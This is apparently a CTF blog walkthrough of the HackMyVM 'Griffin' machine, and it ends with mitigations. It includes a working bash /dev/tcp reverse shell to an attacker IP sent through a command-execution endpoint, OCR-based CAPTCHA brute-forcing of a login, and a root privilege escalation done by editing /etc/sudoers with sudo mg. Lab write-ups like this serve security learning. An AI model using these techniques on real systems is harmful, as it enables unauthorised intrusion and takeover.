Post

Griffin

This machine is based on multiple attack surfaces, including a Werkzeug server, CAPTCHA-protected login, and internal services.

Griffin
Machine Link 🛡️Griffin
Operating SystemLinux
DifficultyMedium
Machine Created bySublarge

1️⃣ Introduction

The Griffin machine is a Linux-based CTF challenge on HackMyVM, designed to test web exploitation, reverse shell techniques, and privilege escalation skills. It simulates a realistic web application environment with multiple attack surfaces, including a Werkzeug server, CAPTCHA-protected login, and internal services. My goals were to practice automated brute-forcing, CAPTCHA solving, and creative privilege escalation techniques while improving my enumeration methodology.


2️⃣ Port Scanning

Why:

Port scanning identifies open services and potential entry points, guiding the attack strategy.

Commands:

1
nmap -sC -sV -p- -vv -T4 -oN Nmap_Result.txt 10.0.2.28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
|   256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
8080/tcp open  http    syn-ack ttl 64 Werkzeug httpd 3.1.3 (Python 3.9.2)
|_http-server-header: Werkzeug/3.1.3 Python/3.9.2
|_http-favicon: Unknown favicon MD5: DD9E535C7728FB79BFE3CAA24AA906B3
|_http-title: Site doesnt have a title (text/plain; charset=utf-8).
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
MAC Address: 08:00:27:EA:E3:BA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Notes:

  • Discovered Ports:
    • 22/tcp: OpenSSH 8.4p1 (Debian), potential SSH access with credentials.
    • 8080/tcp: Werkzeug 3.1.3 (Python 3.9.2), a Python web server, likely hosting a debug interface.
  • Reasoning:
    • Focused on port 8080 due to Werkzeug’s history of debug console vulnerabilities.
    • Noted SSH for later credential-based access.

3️⃣ Web Enumeration

Tools:

  • curl, feroxbuster, manual browser exploration

Content:

  • Port 8080 (Werkzeug):

Port 8080 message

  • Initial access revealed a diagnostic message: “System Info: Diagnostic token = Token”.
  • Multiple requests to /info yielded rotating tokens: BetaToken123, AlphaToken123, CyberCorpDebug123.
  • Since this is Werkzeug site so there must be /console, /info, /token, /debug and many more endpoints, let’s look into it 🔻

path /debug get triggered after multiple attempt

This is where I can get the token value but it got 3 values while attempting multiple times I can see the different tokens.

1
2
3
4
5
6
└─$ curl -X GET http://10.0.2.28:8080/info 
System Info: Diagnostic token = BetaToken123                                                                            
└─$ curl -X GET http://10.0.2.28:8080/info 
System Info: Diagnostic token = AlphaToken123                                                                           
└─$ curl -X GET http://10.0.2.28:8080/info 
System Info: Diagnostic token = CyberCorpDebug123                     
  • /debug endpoint required a token and run parameter, hinting at command execution.

    1
    2
    
    └─$ curl -X GET http://10.0.2.28:8080/debug?token=CyberCorpDebug123
    Missing run command     
    
  • Used CyberCorpDebug123 with run=id to confirm RCE as user lois.

    1
    2
    
      └─$ curl -X GET "http://10.0.2.28:8080/debug?token=CyberCorpDebug123&run=id"
      uid=1002(lois) gid=1002(lois) groups=1002(lois),0(root)
    

Output: uid=1002(lois) gid=1002(lois) groups=1002(lois),0(root).

4️⃣ Exploitation

Content:

  • Crafted a URL-encoded reverse shell:
1
2
urlencode 'bash -c "bash -i >& /dev/tcp/10.0.2.15/4444 0>&1"'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F4444%200%3E%261%22%0A
1
curl -X GET "http://10.0.2.28:8080/debug?token=CyberCorpDebug123&run=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F4444%200%3E%261%22%0A"

Received a reverse shell as lois.

Lets try this bash reverse shell with url encoded 🔻

1
└─$ curl -X GET "http://10.0.2.28:8080/debug?token=CyberCorpDebug123&run=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F4444%200%3E%261%22%0A"

Reverse shell with bash script and got lois user shell

5️⃣ Getting Shell

Content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
lois@Griffin:/home/lois$ whoami
whoami
lois
lois@Griffin:/home/lois$ id
id
uid=1002(lois) gid=1002(lois) groups=1002(lois),0(root)
lois@Griffin:/home/lois$ hostname
hostname
Griffin
lois@Griffin:/home/lois$ ls -al
ls -al
total 428
drwxr-xr-x 2 lois lois   4096 Jul 27 07:27 .
drwxr-xr-x 6 root root   4096 Jun  8 23:43 ..
lrwxrwxrwx 1 root root      9 Jun  8 12:19 .bash_history -> /dev/null
-rw-r--r-- 1 lois lois    220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 lois lois   3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 lois lois    807 Apr 18  2019 .profile
-rw-r--r-- 1 lois lois 411624 Jul 27 07:27 socat
-rwxrwxrwx 1 root root     44 Jun  9 05:48 user.txt
lois@Griffin:/home/lois$ 

I can see different ports are open internally like port 80 that is not accessible externally so lets look into it for that I need to do port forwarding.

1
2
3
4
5
6
7
8
9
10
11
12
lois@Griffin:/tmp$ ss -tunlp
ss -tunlp
Netid   State    Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  
udp     UNCONN   0        0                0.0.0.0:68             0.0.0.0:*     
tcp     LISTEN   0        128              0.0.0.0:22             0.0.0.0:*     
tcp     LISTEN   0        128            127.0.0.1:29001          0.0.0.0:*     
tcp     LISTEN   0        128            127.0.0.1:29002          0.0.0.0:*     
tcp     LISTEN   0        128            127.0.0.1:29003          0.0.0.0:*     
tcp     LISTEN   0        5                0.0.0.0:8080           0.0.0.0:*     
tcp     LISTEN   0        128            127.0.0.1:80             0.0.0.0:*     
tcp     LISTEN   0        128                 [::]:22                [::]:*     
lois@Griffin:/tmp$ 

6️⃣ Post-Exploitation Enumeration

Content:

  • Port 8000 (After Port Forwarding):

    • Discovered internal HTTP service on port 80 via ss -tunlp, forwarded to 8000 using socat.

Let’s do port forwarding with socat tool🔻

1
2
3
4
lois@Griffin:/tmp$ ./socat_x86 TCP-LISTEN:8000,reuseaddr,fork TCP:127.0.0.1:80&
<86 TCP-LISTEN:8000,reuseaddr,fork TCP:127.0.0.1:80&
[1] 1302
lois@Griffin:/tmp$ 

After port forwarding I can see the family detail dashboard that also contain a robot.txt file 🔻

Port forwarded port 8000 has family detail dashboard

Through feroxbuster tool for directory brute-forcing I got some more files or directory in this site 🔻

1
$ feroxbuster -u 'http://10.0.2.28:8000' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 100 -C 403,404,400,503,500 -o ferox.json -x php,txt,zip

feroxbuster output

At the end of the robots.txt page I can see the hint in it that says ⏬

robots.txt page

I can see a login page along with a captcha input field, so for login brute force, as I got the idea from the robots.txt page hint, I need to use rockyou.txt as a password list, and for the username, I guess the person who developed this site, according to the footer caption I can see, ⁣biran will be our user.

Family login page with captcha input

  • Login Brute-Force:

    • Developed a Python script (brute_family.py) to brute-force the /family login page:
      • Username: brian (from footer typo brian).
      • Password List: rockyou.txt (hinted by robots.txt).
      • CAPTCHA Solver: Used ddddocr to process CAPTCHAs in memory.
    • Script details (available on GitHub):
      • Reads passwords from a wordlist.
      • Fetches CAPTCHAs via HTTP, solves them using ddddocr, and submits login attempts.
      • Resets sessions after each attempt to avoid lockouts.
      • Stops on HTTP 302, indicating success (found savannah).
    • Why ddddocr?:
      • ddddocr is an OCR library that decodes CAPTCHA images into text, bypassing the login page’s CAPTCHA protection.
      • It processes images in memory, avoiding disk writes, and is fast enough for real-time brute-forcing.
    • Alternatives Considered:
      • Manual CAPTCHA solving (too slow).
      • Other OCR libraries like pytesseract (less accurate).
      • Brute-forcing without session resets (caused lockouts).
    • Output:
1
2
[00004] savannah | captcha=G4U8 | status=302
🎉 FOUND: savannah

Lets look into the login success request 🔻

Login success with this password and got an authentication cookie

Now I have cracked that cookie and seen if I can get any more information form it or not.

CyberChef platform applying base58 and base64 decoding algorithms

I guess I got the creds for meg user so lets ssh into it 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
└─$ ssh meg@10.0.2.28                                                                                     
meg@10.0.2.28s password: 
Linux Griffin 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
meg@Griffin:~$ whoami
meg
meg@Griffin:~$ id
uid=1001(meg) gid=1001(meg) groups=1001(meg)
meg@Griffin:~$ ls -al
total 20
drwxr-xr-x 2 meg  meg  4096 Jun  8 12:19 .
drwxr-xr-x 6 root root 4096 Jun  8 23:43 ..
lrwxrwxrwx 1 root root    9 Jun  8 12:19 .bash_history -> /dev/null
-rw-r--r-- 1 meg  meg   220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 meg  meg  3526 Apr 18  2019 .bashrc
-rw-r--r-- 1 meg  meg   807 Apr 18  2019 .profile
meg@Griffin:~$ sudo -l
Matching Defaults entries for meg on Griffin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User meg may run the following commands on Griffin:
    (ALL) NOPASSWD: /usr/bin/python3 /root/game.py
meg@Griffin:~$ 
meg@Griffin:/tmp$ sudo /usr/bin/python3 /root/game.py
Traceback (most recent call last):
  File "/root/game.py", line 100, in <module>
    start_server()
  File "/root/game.py", line 89, in start_server
    server.bind(('0.0.0.0', 6666))
OSError: [Errno 98] Address already in use
meg@Griffin:/tmp$ 

I can see the 6666 port is being used here for some task so lets access it from externally and observer it.

7️⃣ Privilege Escalation

Method Used: Sudo Python Script (Game Challenge Automation)

  • Why Chosen:
    • meg could run /root/game.py as root, which binds to port 6666 and runs a multi-stage challenge.
    • Automated the challenge to obtain a flag that served as peter’s password.
  • Steps:
    • Connected to nc 10.0.2.28 6666:
      • Stage 1: Solved math problem (e.g., (56 * 6) // 1 = 336).
      • Stage 2: Decrypted Caesar cipher (irdj{idqhirdj}flag{fakeflag}).
      • Stage 3: Computed MD5 hash of 591907 + 1753699027 within 3 seconds.
    • Used a Python script to automate:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import re
import hashlib

r = remote("10.0.2.28", 6666)
# Stage 1: Math
a = r.recvuntil(b"Enter your answer:").decode()
b = re.split(r'(: )|( =)', a)
r1 = eval(b[6])
r.sendline(str(r1).encode())
# Stage 2: Caesar
r.recvuntil(b"Enter the decrypted message:")
r.sendline(b'flag{fakeflag}')
# Stage 3: MD5
d = r.recvuntil(b"Enter the hash:").decode()
e = re.split(r'\(|\)| ', d)
x = e[5] + e[9]
hash_object = hashlib.md5(str(x).encode())
md5_hash = hash_object.hexdigest()
r.sendline(md5_hash.encode())
rest = r.recvall()
print(rest.decode())
  • Output:
1
2
3
4
5
└─$ python3 nc_problem.py 10.0.2.28 6666
[+] Opening connection to 10.0.2.28 on port 6666: Done
[+] Receiving all data: Done (47B)
[*] Closed connection to 10.0.2.28 port 6666
 Congratulations! Flag: HMV{Wow!------------}

Turns out this flag value is the password of peter user in this machine 🔻

1
2
3
4
5
6
7
8
9
meg@Griffin:/tmp$ su peter
Password: 
peter@Griffin:/tmp$ whoami
peter
peter@Griffin:/tmp$ id
uid=1003(peter) gid=1003(peter) groups=1003(peter)
peter@Griffin:/tmp$ hostname
Griffin
peter@Griffin:/tmp$

Method Used: Sudo mg Editor Abuse

  • Why Chosen:
    • peter could run /usr/bin/mg as root, a text editor allowing file modifications.
    • Edited /etc/sudoers to grant peter full sudo privileges.
  • Steps:
    • Logged in as peter with Wow!------------.
    • Checked sudo -l:
1
2
3
4
5
6
7
8
peter@Griffin:/tmp$ sudo -l
Matching Defaults entries for peter on Griffin:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on Griffin:
    (ALL) NOPASSWD: /usr/bin/mg
peter@Griffin:/tmp$ 
  • Edited /etc/sudoers:
1
peter@Griffin:/tmp$ sudo mg /etc/sudoers

mg tool interface where I edited the peters privileges and saved it

Now lets check for the privileges again 🔻

1
2
3
4
5
6
7
8
peter@Griffin:/tmp$ sudo -l
Matching Defaults entries for peter on Griffin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on Griffin:
    (ALL) NOPASSWD: /usr/bin/mg
    (ALL : ALL) ALL
peter@Griffin:/tmp$

Now lets have a root shell now 👾

8️⃣ Root Access

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
peter@Griffin:/tmp$ sudo su
[sudo] password for peter: 
root@Griffin:/tmp# cd /root
root@Griffin:~# whoami
root
root@Griffin:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Griffin:~# ls -al
total 84
drwx------  7 root root 4096 Jun 10 05:42 .
drwxr-xr-x 18 root root 4096 Mar 18 20:37 ..
-rw-r--r--  1 root root 1482 Jun  9 05:22 alpha.py
lrwxrwxrwx  1 root root    9 Mar 18 21:18 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root 1480 Jun  9 05:22 beta.py
drwxr-xr-x  4 root root 4096 Apr  4 22:04 .cache
-rwx--x--x  1 root root 3801 Jun  9 05:25 game.py
drwx------  3 root root 4096 Apr  4 21:00 .gnupg
-rw-r--r--  1 root root 3562 Jun  9 05:22 load_balancer_daemon.py
drwxr-xr-x  3 root root 4096 Mar 18 21:04 .local
-rw-r--r--  1 root root 2581 Jun  9 05:22 phoenix.py
drwxr-xr-x  2 root root 4096 Jun  8 10:56 .pip
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   44 Jun  9 05:48 root.txt
-rwxr-xr-x  1 root root  116 Jun 10 05:38 run.sh
-rw-r--r--  1 root root   66 Jun  8 11:15 .selected_editor
drwx------  2 root root 4096 Jun  9 01:02 .ssh
-rw-r--r--  1 root root 8564 Jul 27 07:29 startup.log
-rwxr-xr-x  1 root root 1063 Jun  9 05:22 stop.sh
root@Griffin:~# cat root.txt
flag{root-xxxxxxxxxxxxxxxxxxxxxxxxxxx}
root@Griffin:~#

I am root now !


🔍 Mitigation

Disable Werkzeug Debug: Remove or secure /debug and /info endpoints in production.
Strengthen CAPTCHA: Use advanced CAPTCHAs (e.g., reCAPTCHA) resistant to OCR.
Restrict Sudo Privileges: Avoid granting text editors like mg or scripts like game.py sudo access; use least privilege.
Patch Werkzeug: Ensure Werkzeug is updated and debug mode is disabled (DEBUG=False).
Monitor Internal Services: Expose only necessary ports externally and use firewalls.


💡 Takeaways

Learned ddddocr for CAPTCHA automation: Streamlined brute-forcing with OCR.
Mastered text editor privesc: Understood risks of sudo-enabled editors in real-world systems.
Improved automation scripting: Built scripts for both login brute-forcing and game challenges, enhancing efficiency.
Real-world relevance: Reinforced the importance of securing debug interfaces and internal services.


📌 References


If you have any questions or suggestions, please leave a comment below or DM me on Twitter. Thank you!


This post is licensed under CC BY 4.0 by the author.